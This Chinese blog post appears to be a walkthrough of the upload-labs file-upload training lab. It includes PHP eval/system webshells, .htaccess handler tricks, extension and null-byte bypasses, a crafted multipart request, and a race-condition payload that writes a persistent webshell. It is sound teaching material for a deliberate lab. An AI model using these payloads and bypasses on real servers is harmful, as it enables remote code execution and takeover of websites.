upload-labs靶场搭建+题目解答

目录

upload-labs靶场搭建

upload-labs题目

php基础木马

 黑名单绕过(规定有些类型不通过)

Pass-01 

 Pass-02

 Pass-03

CtfHub-htaccess

  Pass-05

   Pass-06

   Pass-07

   Pass-08

   Pass-09

   Pass-10

   Pass-11

   Pass-20

白名单绕过(只允许规定的类型通过)

   Pass-12

   Pass-13

   Pass-14

   Pass-15

   Pass-16

   Pass-17

   Pass-21

条件竞争

   Pass-18

   Pass-19


upload-labs靶场搭建

 

upload-labs题目

php基础木马

<?php
eval($_REQUEST[a]);
?>
<?php
system($_REQUEST[a]);
?>

 黑名单绕过(规定有些类型不通过)

Pass-01 

上传jpg文件,抓包后修改后缀为php

 复制路径

 在浏览器地址后粘贴刚刚复制的内容输入?a=phpinfo();

 Pass-02

 上传php文件

 修改Content-Type为image/jpeg

  复制路径

  在浏览器地址后粘贴刚刚复制的内容输入?a=phpinfo();

 Pass-03

修改后缀为.php1 .php2 .php3 .php4 .phtml

条件利用苛刻需要开启SSI

apache配置文件httpd.conf中有如下配置

AddType application/x-httpd-php .php .phtml

CtfHub-htaccess

htaccess文件有用的条件

1、php5.6以下不带nts的版本  无该版本-无法复现

2、黑名单中未过滤 .htaccess

3、apache配置文件httpd.conf中启用了AllowOverride All

AllowOverride None

改为

AllowOverride ALL

4、服务端未处理文件名(否则上传到htaccess到目录下成为其它文件名则不奏效)

内容:

AddType application/x-httpd-php .jpg

后门:

<FilesMatch "conf"> 

SetHandler application/x-httpd-php 

</FilesMatch>

上传jpg文件 

上传文件 

 

进行抓包,修改后缀,修改内容

 内容修改为:AddType application/x-httpd-php .jpg

 查看文件上传成功

输入地址,复制

 将复制的地址粘贴到蚁剑

在html目录上找到flag

  Pass-05

. .逻辑绕过

后缀为.php. .

 上传php文件,修改后缀,在后面加上. .

 

 

   Pass-06

后缀大小写绕过

 上传php文件,修改后缀,改变大小写

   Pass-07

首尾未去空

123.php 最后加个空格

 

   Pass-08

尾部未删除点

.php. 即可

 

   Pass-09

windows文件流,没有删除::$DATA

在使用NTFS格式的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名

例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

.php::$DATA

 

 

   Pass-10

同5题

.php. .

 

   Pass-11

删除匹配的后缀,双写绕过

7.PphpHP

 

   Pass-20

move_uploaded_file()特性,忽略文件末尾的/.

123123.php/. 即可绕过

上传jpg文件 ,抓包后修改save_name的后缀

 

白名单绕过(只允许规定的类型通过)

   Pass-12

php5.5.9nts

GET型00截断

save_path=../upload/141.php%00.jpg

post里面放1.jpg

在get处输入 123.php%00.jpg

 可以查看到添加成功

 在后台查询到123.php的文件

   Pass-13

php5.5.9nts

POST型00截断

save_path=../upload/141.phpa.jpg a改成00

filename仍是.jpg

 在该处输入123.phpa.jpg,注意该处输入为a,方便寻找

发送到Repeater,在Hex处寻找61, 将刚刚a处的61,改为00,回车

可以查看到添加成功

  在后台查询到1232.php的文件

   Pass-14

图片马制作,需另外配合文件包含漏洞

copy 1.jpg/b + 123.php/a hack1.jpg

 

   Pass-15

getimagesize函数绕过,同14

   Pass-16

需要php开启exif_imagetype()函数

同14

   Pass-17

二次渲染,检查上传前后图片的内容并更改

环境有问题、可忽略不做

同14

   Pass-21

CTF题目,考点是explode分割数组


Content-Disposition: form-data; name="upload_file"; filename="a.jpg"

Content-Type: image/jpeg


<?php eval($_REQUEST[a]);?>

------WebKitFormBoundaryqyfBEj3alReo3OMK

Content-Disposition: form-data; name="save_name[0]"


upload-20.php

------WebKitFormBoundaryqyfBEj3alReo3OMK

Content-Disposition: form-data; name="save_name[2]"


jpg

------WebKitFormBoundaryqyfBEj3alReo3OMK

Content-Disposition: form-data; name="submit"


上传

------WebKitFormBoundaryqyfBEj3alReo3OMK--

 

条件竞争

   Pass-18

条件竞争,服务器会将上传的php文件删除。

同时进行上传爆破,和访问爆破即可。

<?php fputs(fopen("a.php", "w"), '<?php eval($_REQUEST[1]);?>'); ?>

上传php文件

 进行抓包,传到intruder,进行爆破

 将里面内容更改, 对随意的位置进行爆破

 

 设置线程数

 对upload/4.php进行抓包

 抓到的包发送去爆破

 对随意的位置进行爆破

 设置参数

 设置线程数

 最后查到后台拆创建了一个新文件为刚刚命令创建的文件a.php

   Pass-19

条件竞争,通过上传图片马配合其他漏洞来做

<?php fputs(fopen("a.php", "w"), '<?php eval($_REQUEST[1]);?>'); ?>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值